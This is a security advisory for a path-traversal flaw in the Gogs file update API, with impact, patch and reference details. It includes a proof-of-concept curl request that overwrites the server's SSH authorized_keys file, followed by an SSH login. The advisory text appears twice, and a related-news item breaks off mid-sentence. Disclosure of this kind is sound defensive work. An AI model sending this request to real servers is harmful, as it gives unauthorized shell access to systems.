Headline
GHSA-qf5v-rp47-55gg: Path Traversal in file update API in gogs
Impact
The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.
Patches
Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.
Workarounds
No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.
References
n/a
Proof of Concept
Generate a Personal Access Tokens
Edit any file on the server with this
curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \ -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \ -H "Content-Type: application/json" \ --data '{ "message": "an", "content": "<base64encoded: your ssh pub key>" }'ssh connect to remote server
ssh -i temp git@localhost -p 10022
For more information
If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.
Impact
The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.
Patches
Writing files outside repository Git directory has been prohibited via the repository file update API (gogs/gogs#7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.
Workarounds
No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.
References
n/a
Proof of Concept
Generate a Personal Access Tokens
Edit any file on the server with this
curl -v --path-as-is -X PUT --url “http://localhost:10880/api/v1/repos/Test/bbcc/contents/…/…/…/…/…/…/…/…/home/git/.ssh/authorized_keys” \ -H “Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf” \ -H “Content-Type: application/json” \ –data ‘{ "message": "an", "content": “<base64encoded: your ssh pub key>” }’
ssh connect to remote server
ssh -i temp git@localhost -p 10022
For more information
If you have any questions or comments about this advisory, please post on gogs/gogs#7582.
References
- GHSA-qf5v-rp47-55gg
- https://nvd.nist.gov/vuln/detail/CVE-2024-55947
- gogs/gogs#7582
- gogs/gogs#7859
- gogs/gogs@9a9388a
Related news
A high-severity unpatched security vulnerability in Gogs has come under active exploitation, with more than 700 compromised instances accessible over the internet, according to new findings from Wiz. The flaw, tracked as CVE-2025-8110 (CVSS score: 8.7), is a case of file overwrite in the file update API of the Go-based self-hosted Git service. A fix for the issue is said to be currently in the